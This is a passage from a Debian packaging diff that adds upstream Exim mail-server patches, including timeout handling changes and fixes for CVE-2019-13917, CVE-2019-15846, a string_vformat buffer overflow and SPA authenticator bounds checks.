CUS callout_address, +@@ -1096,7 +1096,7 @@ badseek: err = errno; + { + errno = ETIMEDOUT; + i = av_buffer+sizeof(av_buffer)-p; +- if ((bread= ip_recv(&malware_daemon_ctx, p, i-1, tmo-time(NULL))) < 0) ++ if ((bread= ip_recv(&malware_daemon_ctx, p, i-1, tmo)) < 0) + return m_panic_defer_3(scanent, CUS callout_address, + string_sprintf("unable to read result (%s)", strerror(errno)), + malware_daemon_ctx.sock); +@@ -1401,7 +1401,7 @@ badseek: err = errno; + + /* wait for result */ + memset(av_buffer, 0, sizeof(av_buffer)); +- if ((bread = ip_recv(&malware_daemon_ctx, av_buffer, sizeof(av_buffer), tmo-time(NULL))) <= 0) ++ if ((bread = ip_recv(&malware_daemon_ctx, av_buffer, sizeof(av_buffer), tmo)) <= 0) + return m_panic_defer_3(scanent, CUS callout_address, + string_sprintf("unable to read from UNIX socket (%s)", scanner_options), + malware_daemon_ctx.sock); +@@ -1737,7 +1737,7 @@ b_seek: err = errno; + + /* Read the result */ + memset(av_buffer, 0, sizeof(av_buffer)); +- bread = ip_recv(&malware_daemon_ctx, av_buffer, sizeof(av_buffer), tmo-time(NULL)); ++ bread = ip_recv(&malware_daemon_ctx, av_buffer, sizeof(av_buffer), tmo); + (void)close(malware_daemon_ctx.sock); + malware_daemon_ctx.sock = -1; + malware_daemon_ctx.tls_ctx = NULL; +@@ -1895,7 +1895,7 @@ b_seek: err = errno; + return m_panic_defer(scanent, CUS callout_address, errstr); + + /* Read the result */ +- bread = ip_recv(&malware_daemon_ctx, av_buffer, sizeof(av_buffer), tmo-time(NULL)); ++ bread = ip_recv(&malware_daemon_ctx, av_buffer, sizeof(av_buffer), tmo); + + if (bread <= 0) + return m_panic_defer_3(scanent, CUS callout_address, +--- a/src/routers/iplookup.c ++++ b/src/routers/iplookup.c +@@ -279,7 +279,7 @@ while ((hostname = string_nextinlist(&li + /* Read the response and close the socket. If the read fails, try the + next IP address. */ + +- count = ip_recv(&query_cctx, reply, sizeof(reply) - 1, ob->timeout); ++ count = ip_recv(&query_cctx, reply, sizeof(reply) - 1, time(NULL) + ob->timeout); + (void)close(query_cctx.sock); + if (count <= 0) + { +--- a/src/smtp_out.c ++++ b/src/smtp_out.c +@@ -587,14 +587,14 @@ Arguments: + inblock the SMTP input block (contains holding buffer, socket, etc.) + buffer where to put the line + size space available for the line +- timeout the timeout to use when reading a packet ++ timelimit deadline for reading the lime, seconds past epoch + + Returns: length of a line that has been put in the buffer + -1 otherwise, with errno set + */ + + static int +-read_response_line(smtp_inblock *inblock, uschar *buffer, int size, int timeout) ++read_response_line(smtp_inblock *inblock, uschar *buffer, int size, time_t timelimit) + { + uschar *p = buffer; + uschar *ptr = inblock->ptr; +@@ -637,7 +637,7 @@ for (;;) + + /* Need to read a new input packet. */ + +- if((rc = ip_recv(cctx, inblock->buffer, inblock->buffersize, timeout)) <= 0) ++ if((rc = ip_recv(cctx, inblock->buffer, inblock->buffersize, timelimit)) <= 0) + { + DEBUG(D_deliver|D_transport|D_acl) + debug_printf_indent(errno ? " SMTP(%s)<<\n" : " SMTP(closed)<<\n", +@@ -694,6 +694,7 @@ smtp_read_response(void * sx0, uschar * + smtp_context * sx = sx0; + uschar * ptr = buffer; + int count = 0, rc; ++time_t timelimit = time(NULL) + timeout; + + errno = 0; /* Ensure errno starts out zero */ + +@@ -713,7 +714,7 @@ response. */ + + for (;;) + { +- if ((count = read_response_line(&sx->inblock, ptr, size, timeout)) < 0) ++ if ((count = read_response_line(&sx->inblock, ptr, size, timelimit)) < 0) + return FALSE; + + HDEBUG(D_transport|D_acl|D_v) +--- a/src/spam.c ++++ b/src/spam.c +@@ -503,7 +503,7 @@ offset = 0; + while ((i = ip_recv(&spamd_cctx, + spamd_buffer + offset, + sizeof(spamd_buffer) - offset - 1, +- sd->timeout - time(NULL) + start)) > 0) ++ sd->timeout + start)) > 0) + offset += i; + spamd_buffer[offset] = '\0'; /* guard byte */ + +--- a/src/transports/smtp_socks.c ++++ b/src/transports/smtp_socks.c +@@ -129,7 +129,7 @@ switch(method) + #ifdef TCP_QUICKACK + (void) setsockopt(fd, IPPROTO_TCP, TCP_QUICKACK, US &off, sizeof(off)); + #endif +- if (!fd_ready(fd, tmo-time(NULL)) || read(fd, s, 2) != 2) ++ if (!fd_ready(fd, tmo) || read(fd, s, 2) != 2) + return FAIL; + HDEBUG(D_transport|D_acl|D_v) + debug_printf_indent(" SOCKS<< %02x %02x\n", s[0], s[1]); +@@ -320,7 +320,7 @@ HDEBUG(D_transport|D_acl|D_v) debug_prin + (void) setsockopt(fd, IPPROTO_TCP, TCP_QUICKACK, US &off, sizeof(off)); + #endif + +-if ( !fd_ready(fd, tmo-time(NULL)) ++if ( !fd_ready(fd, tmo) + || read(fd, buf, 2) != 2 + ) + goto rcv_err; +@@ -370,7 +370,7 @@ if (send(fd, buf, size, 0) < 0) + /* expect conn-reply (success, local(ipver, addr, port)) + of same length as conn-request, or non-success fail code */ + +-if ( !fd_ready(fd, tmo-time(NULL)) ++if ( !fd_ready(fd, tmo) + || (size = read(fd, buf, size)) < 2 + ) + goto rcv_err; +--- a/src/verify.c ++++ b/src/verify.c +@@ -2770,7 +2770,7 @@ for (;;) + int size = sizeof(buffer) - (p - buffer); + + if (size <= 0) goto END_OFF; /* Buffer filled without seeing \n. */ +- count = ip_recv(&ident_conn_ctx, p, size, rfc1413_query_timeout); ++ count = ip_recv(&ident_conn_ctx, p, size, time(NULL) + rfc1413_query_timeout); + if (count <= 0) goto END_OFF; /* Read error or EOF */ + + /* Scan what we just read, to see if we have reached the terminating \r\n. Be diff --git a/debian/patches/75_15-Fix-detection-of-32b-platform-at-build-time.-Bug-240.patch b/debian/patches/75_15-Fix-detection-of-32b-platform-at-build-time.-Bug-240.patch new file mode 100644 index 0000000..039ed5f --- /dev/null +++ b/debian/patches/75_15-Fix-detection-of-32b-platform-at-build-time.-Bug-240.patch @@ -0,0 +1,48 @@ +From 26dd3aa007b3b77969610c031f59388e0953bd00 Mon Sep 17 00:00:00 2001 +From: Jeremy Harris <jgh146exb@wizmail.org> +Date: Fri, 7 Jun 2019 11:54:10 +0100 +Subject: [PATCH 2/2] Fix detection of 32b platform at build time. Bug 2405 + +--- + src/buildconfig.c | 12 +++--- + test/scripts/0000-Basic/0002 | 72 +++++++++++++++++++----------------- + test/stdout/0002 | 72 +++++++++++++++++++----------------- + 3 files changed, 83 insertions(+), 73 deletions(-) + +diff --git a/src/buildconfig.c b/src/buildconfig.c +index 71cf97b1..a680b344 100644 +--- a/src/buildconfig.c ++++ b/src/buildconfig.c +@@ -111,6 +111,7 @@ unsigned long test_ulong_t = 0L; + unsigned int test_uint_t = 0; + #endif + long test_long_t = 0; ++long long test_longlong_t = 0; + int test_int_t = 0; + FILE *base; + FILE *new; +@@ -155,15 +156,16 @@ This assumption is known to be OK for the common operating systems. */ + + fprintf(new, "#ifndef OFF_T_FMT\n"); + if (sizeof(test_off_t) > sizeof(test_long_t)) +- { + fprintf(new, "# define OFF_T_FMT \"%%lld\"\n"); +- fprintf(new, "# define LONGLONG_T long long int\n"); +- } + else +- { + fprintf(new, "# define OFF_T_FMT \"%%ld\"\n"); ++fprintf(new, "#endif\n\n"); ++ ++fprintf(new, "#ifndef LONGLONG_T\n"); ++if (sizeof(test_longlong_t) > sizeof(test_long_t)) ++ fprintf(new, "# define LONGLONG_T long long int\n"); ++else + fprintf(new, "# define LONGLONG_T long int\n"); +- } + fprintf(new, "#endif\n\n"); + + /* Now do the same thing for time_t variables. If the length is greater than +-- +2.20.1 + diff --git a/debian/patches/77_Avoid-re-expansion-in-sort-CVE-2019-13917-OVE-201907.patch b/debian/patches/77_Avoid-re-expansion-in-sort-CVE-2019-13917-OVE-201907.patch new file mode 100644 index 0000000..50c63ed --- /dev/null +++ b/debian/patches/77_Avoid-re-expansion-in-sort-CVE-2019-13917-OVE-201907.patch @@ -0,0 +1,394 @@ +From cf84d126bc1f04746eb7c8e8b3468f7e70add3ec Mon Sep 17 00:00:00 2001 +From: Jeremy Harris <jgh146exb@wizmail.org> +Date: Fri, 5 Jul 2019 15:38:15 +0100 +Subject: [PATCH] Avoid re-expansion in ${sort } CVE-2019-13917 + OVE-20190718-0006 + +(cherry picked from commit 5c887f836e4d8e3f79da1c15565b56b40d9bd0dd) +--- + doc/ChangeLog | 6 ++ + doc/doc-txt/cve-2019-13917 | 46 ++++++++ + src/expand.c | 214 +++++++++++++++++++++++++------------ + 3 files changed, 199 insertions(+), 67 deletions(-) + create mode 100644 doc/doc-txt/cve-2019-13917 + +--- a/src/expand.c ++++ b/src/expand.c +@@ -2147,6 +2147,55 @@ return ret; + + + ++/************************************************/ ++/* Return offset in ops table, or -1 if not found. ++Repoint to just after the operator in the string. ++ ++Argument: ++ ss string representation of operator ++ opname split-out operator name ++*/ ++ ++static int ++identify_operator(const uschar ** ss, uschar ** opname) ++{ ++const uschar * s = *ss; ++uschar name[256]; ++ ++/* Numeric comparisons are symbolic */ ++ ++if (*s == '=' || *s == '>' || *s == '<') ++ { ++ int p = 0; ++ name[p++] = *s++; ++ if (*s == '=') ++ { ++ name[p++] = '='; ++ s++; ++ } ++ name[p] = 0; ++ } ++ ++/* All other conditions are named */ ++ ++else ++ s = read_name(name, sizeof(name), s, US"_"); ++*ss = s; ++ ++/* If we haven't read a name, it means some non-alpha character is first. */ ++ ++if (!name[0]) ++ { ++ expand_string_message = string_sprintf("condition name expected, " ++ "but found \"%.16s\"", s); ++ return -1; ++ } ++if (opname) ++ *opname = string_copy(name); ++ ++return chop_match(name, cond_table, nelem(cond_table)); ++} ++ + + /************************************************* + * Read and evaluate a condition * +@@ -2177,6 +2226,7 @@ BOOL sub2_honour_dollar = TRUE; + int i, rc, cond_type, roffset; + int_eximarith_t num[2]; + struct stat statbuf; ++uschar * opname; + uschar name[256]; + const uschar *sub[10]; + +@@ -2189,37 +2239,7 @@ for (;;) + if (*s == '!') { testfor = !testfor; s++; } else break; + } + +-/* Numeric comparisons are symbolic */ +- +-if (*s == '=' || *s == '>' || *s == '<') +- { +- int p = 0; +- name[p++] = *s++; +- if (*s == '=') +- { +- name[p++] = '='; +- s++; +- } +- name[p] = 0; +- } +- +-/* All other conditions are named */ +- +-else s = read_name(name, 256, s, US"_"); +- +-/* If we haven't read a name, it means some non-alpha character is first. */ +- +-if (name[0] == 0) +- { +- expand_string_message = string_sprintf("condition name expected, " +- "but found \"%.16s\"", s); +- return NULL; +- } +- +-/* Find which condition we are dealing with, and switch on it */ +- +-cond_type = chop_match(name, cond_table, nelem(cond_table)); +-switch(cond_type) ++switch(cond_type = identify_operator(&s, &opname)) + { + /* def: tests for a non-empty variable, or for the existence of a header. If + yield == NULL we are in a skipping state, and don't care about the answer. */ +@@ -2538,7 +2558,7 @@ switch(cond_type) + { + if (i == 0) goto COND_FAILED_CURLY_START; + expand_string_message = string_sprintf("missing 2nd string in {} " +- "after \"%s\"", name); ++ "after \"%s\"", opname); + return NULL; + } + if (!(sub[i] = expand_string_internal(s+1, TRUE, &s, yield == NULL, +@@ -2553,7 +2573,7 @@ switch(cond_type) + conditions that compare numbers do not start with a letter. This just saves + checking for them individually. */ + +- if (!isalpha(name[0]) && yield != NULL) ++ if (!isalpha(opname[0]) && yield != NULL) + if (sub[i][0] == 0) + { + num[i] = 0; +@@ -2867,7 +2887,7 @@ switch(cond_type) + uschar *save_iterate_item = iterate_item; + int (*compare)(const uschar *, const uschar *); + +- DEBUG(D_expand) debug_printf_indent("condition: %s item: %s\n", name, sub[0]); ++ DEBUG(D_expand) debug_printf_indent("condition: %s item: %s\n", opname, sub[0]); + + tempcond = FALSE; + compare = cond_type == ECOND_INLISTI +@@ -2909,14 +2929,14 @@ switch(cond_type) + if (*s != '{') /* }-for-text-editors */ + { + expand_string_message = string_sprintf("each subcondition " +- "inside an \"%s{...}\" condition must be in its own {}", name); ++ "inside an \"%s{...}\" condition must be in its own {}", opname); + return NULL; + } + + if (!(s = eval_condition(s+1, resetok, subcondptr))) + { + expand_string_message = string_sprintf("%s inside \"%s{...}\" condition", +- expand_string_message, name); ++ expand_string_message, opname); + return NULL; + } + while (isspace(*s)) s++; +@@ -2926,7 +2946,7 @@ switch(cond_type) + { + /* {-for-text-editors */ + expand_string_message = string_sprintf("missing } at end of condition " +- "inside \"%s\" group", name); ++ "inside \"%s\" group", opname); + return NULL; + } + +@@ -2958,7 +2978,7 @@ switch(cond_type) + int sep = 0; + uschar *save_iterate_item = iterate_item; + +- DEBUG(D_expand) debug_printf_indent("condition: %s\n", name); ++ DEBUG(D_expand) debug_printf_indent("condition: %s\n", opname); + + while (isspace(*s)) s++; + if (*s++ != '{') goto COND_FAILED_CURLY_START; /* }-for-text-editors */ +@@ -2979,7 +2999,7 @@ switch(cond_type) + if (!(s = eval_condition(sub[1], resetok, NULL))) + { + expand_string_message = string_sprintf("%s inside \"%s\" condition", +- expand_string_message, name); ++ expand_string_message, opname); + return NULL; + } + while (isspace(*s)) s++; +@@ -2989,7 +3009,7 @@ switch(cond_type) + { + /* {-for-text-editors */ + expand_string_message = string_sprintf("missing } at end of condition " +- "inside \"%s\"", name); ++ "inside \"%s\"", opname); + return NULL; + } + +@@ -3001,11 +3021,11 @@ switch(cond_type) + if (!eval_condition(sub[1], resetok, &tempcond)) + { + expand_string_message = string_sprintf("%s inside \"%s\" condition", +- expand_string_message, name); ++ expand_string_message, opname); + iterate_item = save_iterate_item; + return NULL; + } +- DEBUG(D_expand) debug_printf_indent("%s: condition evaluated to %s\n", name, ++ DEBUG(D_expand) debug_printf_indent("%s: condition evaluated to %s\n", opname, + tempcond? "true":"false"); + + if (yield != NULL) *yield = (tempcond == testfor); +@@ -3098,19 +3118,20 @@ switch(cond_type) + /* Unknown condition */ + + default: +- expand_string_message = string_sprintf("unknown condition \"%s\"", name); +- return NULL; ++ if (!expand_string_message || !*expand_string_message) ++ expand_string_message = string_sprintf("unknown condition \"%s\"", opname); ++ return NULL; + } /* End switch on condition type */ + + /* Missing braces at start and end of data */ + + COND_FAILED_CURLY_START: +-expand_string_message = string_sprintf("missing { after \"%s\"", name); ++expand_string_message = string_sprintf("missing { after \"%s\"", opname); + return NULL; + + COND_FAILED_CURLY_END: + expand_string_message = string_sprintf("missing } at end of \"%s\" condition", +- name); ++ opname); + return NULL; + + /* A condition requires code that is not compiled */ +@@ -3120,7 +3141,7 @@ return NULL; + !defined(SUPPORT_CRYPTEQ) || !defined(CYRUS_SASLAUTHD_SOCKET) + COND_FAILED_NOT_COMPILED: + expand_string_message = string_sprintf("support for \"%s\" not compiled", +- name); ++ opname); + return NULL; + #endif + } +@@ -3849,6 +3870,56 @@ return x; + + + ++/************************************************/ ++/* Comparison operation for sort expansion. We need to avoid ++re-expanding the fields being compared, so need a custom routine. ++ ++Arguments: ++ cond_type Comparison operator code ++ leftarg, rightarg Arguments for comparison ++ ++Return true iff (leftarg compare rightarg) ++*/ ++ ++static BOOL ++sortsbefore(int cond_type, BOOL alpha_cond, ++ const uschar * leftarg, const uschar * rightarg) ++{ ++int_eximarith_t l_num, r_num; ++ ++if (!alpha_cond) ++ { ++ l_num = expanded_string_integer(leftarg, FALSE); ++ if (expand_string_message) return FALSE; ++ r_num = expanded_string_integer(rightarg, FALSE); ++ if (expand_string_message) return FALSE; ++ ++ switch (cond_type) ++ { ++ case ECOND_NUM_G: return l_num > r_num; ++ case ECOND_NUM_GE: return l_num >= r_num; ++ case ECOND_NUM_L: return l_num < r_num; ++ case ECOND_NUM_LE: return l_num <= r_num; ++ default: break; ++ } ++ } ++else ++ switch (cond_type) ++ { ++ case ECOND_STR_LT: return Ustrcmp (leftarg, rightarg) < 0; ++ case ECOND_STR_LTI: return strcmpic(leftarg, rightarg) < 0; ++ case ECOND_STR_LE: return Ustrcmp (leftarg, rightarg) <= 0; ++ case ECOND_STR_LEI: return strcmpic(leftarg, rightarg) <= 0; ++ case ECOND_STR_GT: return Ustrcmp (leftarg, rightarg) > 0; ++ case ECOND_STR_GTI: return strcmpic(leftarg, rightarg) > 0; ++ case ECOND_STR_GE: return Ustrcmp (leftarg, rightarg) >= 0; ++ case ECOND_STR_GEI: return strcmpic(leftarg, rightarg) >= 0; ++ default: break; ++ } ++return FALSE; /* should not happen */ ++} ++ ++ + /* Return pointer to dewrapped string, with enclosing specified chars removed. + The given string is modified on return. Leading whitespace is skipped while + looking for the opening wrap character, then the rest is scanned for the trailing +@@ -3905,7 +3976,7 @@ The element may itself be an object or a + Return NULL when the list is empty. + */ + +-uschar * ++static uschar * + json_nextinlist(const uschar ** list) + { + unsigned array_depth = 0, object_depth = 0; +@@ -6243,9 +6314,10 @@ while (*s != 0) + + case EITEM_SORT: + { ++ int cond_type; + int sep = 0; + const uschar *srclist, *cmp, *xtract; +- uschar *srcitem; ++ uschar * opname, * srcitem; + const uschar *dstlist = NULL, *dstkeylist = NULL; + uschar * tmp; + uschar *save_iterate_item = iterate_item; +@@ -6280,6 +6352,25 @@ while (*s != 0) + goto EXPAND_FAILED_CURLY; + } + ++ if ((cond_type = identify_operator(&cmp, &opname)) == -1) ++ { ++ if (!expand_string_message) ++ expand_string_message = string_sprintf("unknown condition \"%s\"", s); ++ goto EXPAND_FAILED; ++ } ++ switch(cond_type) ++ { ++ case ECOND_NUM_L: case ECOND_NUM_LE: ++ case ECOND_NUM_G: case ECOND_NUM_GE: ++ case ECOND_STR_GE: case ECOND_STR_GEI: case ECOND_STR_GT: case ECOND_STR_GTI: ++ case ECOND_STR_LE: case ECOND_STR_LEI: case ECOND_STR_LT: case ECOND_STR_LTI: ++ break; ++ ++ default: ++ expand_string_message = US"comparator not handled for sort"; ++ goto EXPAND_FAILED; ++ } ++ + while (isspace(*s)) s++; + if (*s++ != '{') + { +@@ -6307,11 +6398,10 @@ while (*s != 0) + if (skipping) continue; + + while ((srcitem = string_nextinlist(&srclist, &sep, NULL, 0))) +- { +- uschar * dstitem; ++ { ++ uschar * srcfield, * dstitem; + gstring * newlist = NULL; + gstring * newkeylist = NULL; +- uschar * srcfield; + + DEBUG(D_expand) debug_printf_indent("%s: $item = \"%s\"\n", name, srcitem); + +@@ -6332,25 +6422,15 @@ while (*s != 0) + while ((dstitem = string_nextinlist(&dstlist, &sep, NULL, 0))) + { + uschar * dstfield; +- uschar * expr; +- BOOL before; + + /* field for comparison */ + if (!(dstfield = string_nextinlist(&dstkeylist, &sep, NULL, 0))) + goto sort_mismatch; + +- /* build and run condition string */ +- expr = string_sprintf("%s{%s}{%s}", cmp, srcfield, dstfield); +- +- DEBUG(D_expand) debug_printf_indent("%s: cond = \"%s\"\n", name, expr); +- if (!eval_condition(expr, &resetok, &before)) +- { +- expand_string_message = string_sprintf("comparison in sort: %s", +- expr); +- goto EXPAND_FAILED; +- } ++ /* String-comparator names start with a letter; numeric names do not */ + +- if (before) ++ if (sortsbefore(cond_type, isalpha(opname[0]), ++ srcfield, dstfield)) + { + /* New-item sorts before this dst-item. Append new-item, + then dst-item, then remainder of dst list. */ diff --git a/debian/patches/78_01-string.c-do-not-interpret-before-0-CVE-2019-15846.patch b/debian/patches/78_01-string.c-do-not-interpret-before-0-CVE-2019-15846.patch new file mode 100644 index 0000000..38ba939 --- /dev/null +++ b/debian/patches/78_01-string.c-do-not-interpret-before-0-CVE-2019-15846.patch @@ -0,0 +1,50 @@ +From 2600301ba6dbac5c9d640c87007a07ee6dcea1f4 Mon Sep 17 00:00:00 2001 +From: "Heiko Schlittermann (HS12-RIPE)" <hs@schlittermann.de> +Date: Mon, 19 Aug 2019 14:45:48 +0200 +Subject: [PATCH] string.c: do not interpret '\\' before '\0' (CVE-2019-15846) + + +--- a/doc/ChangeLog ++++ b/doc/ChangeLog +@@ -4,6 +4,11 @@ This document describes *changes* to pre + affect Exim's operation, with an unchanged configuration file. For new + options, and new features, see the NewStuff file next to this ChangeLog. + ++Exim version 4.92.2 ++------------------- ++ ++HS/01 Handle trailing backslash gracefully. (CVE-2019-15846) ++ + + Since version 4.92 + ------------------ +--- a/src/string.c ++++ b/src/string.c +@@ -224,6 +224,8 @@ interpreted in strings. + Arguments: + pp points a pointer to the initiating "\" in the string; + the pointer gets updated to point to the final character ++ If the backslash is the last character in the string, it ++ is not interpreted. + Returns: the value of the character escape + */ + +@@ -236,6 +238,7 @@ const uschar *hex_digits= CUS"0123456789 + int ch; + const uschar *p = *pp; + ch = *(++p); ++if (ch == '\0') return **pp; + if (isdigit(ch) && ch != '8' && ch != '9') + { + ch -= '0'; +@@ -1210,8 +1213,8 @@ memcpy(g->s + p, s, count); + g->ptr = p + count; + return g; + } +- +- ++ ++ + gstring * + string_cat(gstring *string, const uschar *s) + { diff --git a/debian/patches/78_02-Fix-buffer-overflow-in-string_vformat.-Bug-2449.patch b/debian/patches/78_02-Fix-buffer-overflow-in-string_vformat.-Bug-2449.patch new file mode 100644 index 0000000..6c27517 --- /dev/null +++ b/debian/patches/78_02-Fix-buffer-overflow-in-string_vformat.-Bug-2449.patch @@ -0,0 +1,36 @@ +From 478effbfd9c3cc5a627fc671d4bf94d13670d65f Mon Sep 17 00:00:00 2001 +From: Jeremy Harris <jgh146exb@wizmail.org> +Date: Fri, 27 Sep 2019 12:21:49 +0100 +Subject: [PATCH] Fix buffer overflow in string_vformat. Bug 2449 + +--- + src/string.c | 4 ++-- + test/scripts/0000-Basic/0214 | 11 +++++++++++ + test/stdout/0214 | 7 +++++++ + 3 files changed, 20 insertions(+), 2 deletions(-) + +diff --git a/src/string.c b/src/string.c +index c6549bf93..3445f8a42 100644 +--- a/src/string.c ++++ b/src/string.c +@@ -1132,7 +1132,7 @@ store_reset(g->s + (g->size = g->ptr + 1)); + Arguments: + g the growable-string + p current end of data +- count amount to grow by ++ count amount to grow by, offset from p + */ + + static void +@@ -1590,7 +1590,7 @@ while (*fp) + } + else if (g->ptr >= lim - width) + { +- gstring_grow(g, g->ptr, width - (lim - g->ptr)); ++ gstring_grow(g, g->ptr, width); + lim = g->size - 1; + gp = CS g->s + g->ptr; + } +-- +2.23.0 + diff --git a/debian/patches/79_01-Fix-SPA-authenticator-checking-client-supplied-data-.patch b/debian/patches/79_01-Fix-SPA-authenticator-checking-client-supplied-data-.patch new file mode 100644 index 0000000..f0688bb --- /dev/null +++ b/debian/patches/79_01-Fix-SPA-authenticator-checking-client-supplied-data-.patch @@ -0,0 +1,74 @@ +From 6a7edbf6608d10ef0c707c426511e667849518d7 Mon Sep 17 00:00:00 2001 +From: Jeremy Harris <jgh146exb@wizmail.org> +Date: Tue, 5 May 2020 21:15:34 +0100 +Subject: [PATCH 1/2] Fix SPA authenticator, checking client-supplied data + before using it. Bug 2571 + +(cherry picked from commit 57aa14b216432be381b6295c312065b2fd034f86) +--- + doc/ChangeLog | 5 +++++ + src/auths/spa.c | 22 ++++++++++++++++------ + 2 files changed, 21 insertions(+), 6 deletions(-) + +--- a/doc/ChangeLog ++++ b/doc/ChangeLog +@@ -62,6 +62,11 @@ JH/28 Fix the timeout on smtp response t + [from GIT master] + + ++JH/41 Bug 2571: Fix SPA authenticator. Running as a server, an offset supplied ++ by the client was not checked as pointing within response data before ++ being used. A malicious client could thus cause an out-of-bounds read and ++ possibly gain authentication. Fix by adding the check. ++ + + Exim version 4.92 + ----------------- +--- a/src/auths/spa.c ++++ b/src/auths/spa.c +@@ -139,7 +139,7 @@ SPAAuthChallenge challenge; + SPAAuthResponse response; + SPAAuthResponse *responseptr = &response; + uschar msgbuf[2048]; +-uschar *clearpass; ++uschar *clearpass, *s; + + /* send a 334, MS Exchange style, and grab the client's request, + unless we already have it via an initial response. */ +@@ -197,6 +197,13 @@ that causes failure if the size of msgbu + char *p = ((char*)responseptr) + IVAL(&responseptr->uUser.offset,0); + int len = SVAL(&responseptr->uUser.len,0)/2; + ++ if (p + len*2 >= CS (responseptr+1)) ++ { ++ DEBUG(D_auth) ++ debug_printf("auth_spa_server(): bad uUser spec in response\n"); ++ return FAIL; ++ } ++ + if (len + 1 >= sizeof(msgbuf)) return FAIL; + for (i = 0; i < len; ++i) + { +@@ -245,14 +252,17 @@ spa_smb_nt_encrypt (clearpass, challenge + + /* compare NT hash (LM may not be available) */ + +-if (memcmp(ntRespData, +- ((unsigned char*)responseptr)+IVAL(&responseptr->ntResponse.offset,0), +- 24) == 0) +- /* success. we have a winner. */ ++s = (US responseptr) + IVAL(&responseptr->ntResponse.offset,0); ++if (s + 24 >= US (responseptr+1)) + { +- return auth_check_serv_cond(ablock); ++ DEBUG(D_auth) ++ debug_printf("auth_spa_server(): bad ntRespData spec in response\n"); ++ return FAIL; + } + ++if (memcmp(ntRespData, s, 24) == 0) ++ return auth_check_serv_cond(ablock); /* success. we have a winner. */ ++ + /* Expand server_condition as an authorization check (PH) */ + + return FAIL; diff --git a/debian/patches/79_02-Rework-SPA-fix-to-avoid-overflows.-Bug-2571.patch b/debian/patches/79_02-Rework-SPA-fix-to-avoid-overflows.-Bug-2571.patch new file mode 100644 index 0000000..5bc18e3 --- /dev/null +++ b/debian/patches/79_02-Rework-SPA-fix-to-avoid-overflows.-Bug-2571.patch @@ -0,0 +1,59 @@ +From 5a41d2c2cd2b28a0d1aea21edeaea02bd6db4984 Mon Sep 17 00:00:00 2001 +From: Jeremy Harris <jgh146exb@wizmail.org> +Date: Wed, 6 May 2020 22:31:25 +0100 +Subject: [PATCH 2/2] Rework SPA fix to avoid overflows. Bug 2571 + +Amends: 6a7edbf660 +(cherry picked from commit a04174dc2a84ae1008c23b6a7109e7fa3fb7b8b0) +--- + src/auths/spa.c | 13 +++++++++---- + 1 file changed, 9 insertions(+), 4 deletions(-) + +diff --git a/src/auths/spa.c b/src/auths/spa.c +index ed9aff23b..4e3aef808 100644 +--- a/src/auths/spa.c ++++ b/src/auths/spa.c +@@ -140,6 +140,7 @@ SPAAuthResponse response; + SPAAuthResponse *responseptr = &response; + uschar msgbuf[2048]; + uschar *clearpass, *s; ++unsigned off; + + /* send a 334, MS Exchange style, and grab the client's request, + unless we already have it via an initial response. */ +@@ -194,10 +195,13 @@ that causes failure if the size of msgbuf is exceeded. ****/ + + { + int i; +- char *p = ((char*)responseptr) + IVAL(&responseptr->uUser.offset,0); ++ char * p; + int len = SVAL(&responseptr->uUser.len,0)/2; + +- if (p + len*2 >= CS (responseptr+1)) ++ if ( (off = IVAL(&responseptr->uUser.offset,0)) >= sizeof(SPAAuthResponse) ++ || len >= sizeof(responseptr->buffer)/2 ++ || (p = (CS responseptr) + off) + len*2 >= CS (responseptr+1) ++ ) + { + DEBUG(D_auth) + debug_printf("auth_spa_server(): bad uUser spec in response\n"); +@@ -252,13 +256,14 @@ spa_smb_nt_encrypt (clearpass, challenge.challengeData, ntRespData); + + /* compare NT hash (LM may not be available) */ + +-s = (US responseptr) + IVAL(&responseptr->ntResponse.offset,0); +-if (s + 24 >= US (responseptr+1)) ++off = IVAL(&responseptr->ntResponse.offset,0); ++if (off >= sizeof(SPAAuthResponse) - 24) + { + DEBUG(D_auth) + debug_printf("auth_spa_server(): bad ntRespData spec in response\n"); + return FAIL; + } ++s = (US responseptr) + off; + + if (memcmp(ntRespData, s, 24) == 0) + return auth_check_serv_cond(ablock); /* success. we have a winner. */ +-- +2.26.2 + diff --git a/debian/patches/80_01-GnuTLS-fix-hanging-callout-connections.patch b/debian/patches/80_01-GnuTLS-fix-hanging-callout-connections.patch new file mode 100644 index 0000000..0f36d73 --- /dev/null +++ b/debian/patches/80_01-GnuTLS-fix-hanging-callout-connections.patch @@ -0,0 +1,83 @@ +From 97c5e07c220b55d1c506a1798c9ce3ae3105adea Mon Sep 17 00:00:00 2001 +From: Jeremy Harris <jgh146exb@wizmail.org> +Date: Thu, 13 Feb 2020 16:45:38 +0000 +Subject: [PATCH 4/6] GnuTLS: fix hanging callout connections + +Broken-by: 925ac8e4f1 +(cherry picked from commit bd95ffc2ba87fbd3c752df17bc8fd9c01586d45a) +--- + doc/ChangeLog | 81 ++++--------------------------------------- + src/tls-gnu.c | 24 +++++++------ + 2 files changed, 20 insertions(+), 85 deletions(-) + +--- a/doc/ChangeLog ++++ b/doc/ChangeLog +@@ -67,6 +67,11 @@ JH/41 Bug 2571: Fix SPA authenticator. + being used. A malicious client could thus cause an out-of-bounds read and + possibly gain authentication. Fix by adding the check. + ++JH/25 Fix use of concurrent TLS connections under GnuTLS. When a callout was ++ done during a receiving connection, and both used TLS, global info was ++ used rather than per-connection info for tracking the state of data ++ queued for transmission. This could result in a connection hang. ++ + + Exim version 4.92 + ----------------- +--- a/src/tls-gnu.c ++++ b/src/tls-gnu.c +@@ -124,10 +124,17 @@ typedef struct exim_gnutls_state { + enum peer_verify_requirement verify_requirement; + int fd_in; + int fd_out; +- BOOL peer_cert_verified; +- BOOL peer_dane_verified; +- BOOL trigger_sni_changes; +- BOOL have_set_peerdn; ++ ++ BOOL peer_cert_verified:1; ++ BOOL peer_dane_verified:1; ++ BOOL trigger_sni_changes:1; ++ BOOL have_set_peerdn:1; ++ BOOL xfer_eof:1; /*XXX never gets set! */ ++ BOOL xfer_error:1; ++#ifdef SUPPORT_CORK ++ BOOL corked:1; ++#endif ++ + const struct host_item *host; /* NULL if server */ + gnutls_x509_crt_t peercert; + uschar *peerdn; +@@ -160,8 +167,6 @@ typedef struct exim_gnutls_state { + uschar *xfer_buffer; + int xfer_buffer_lwm; + int xfer_buffer_hwm; +- BOOL xfer_eof; /*XXX never gets set! */ +- BOOL xfer_error; + } exim_gnutls_state_st; + + static const exim_gnutls_state_st exim_gnutls_state_init = { +@@ -2790,9 +2795,8 @@ ssize_t outbytes; + size_t left = len; + exim_gnutls_state_st * state = ct_ctx ? ct_ctx : &state_server; + #ifdef SUPPORT_CORK +-static BOOL corked = FALSE; + +-if (more && !corked) 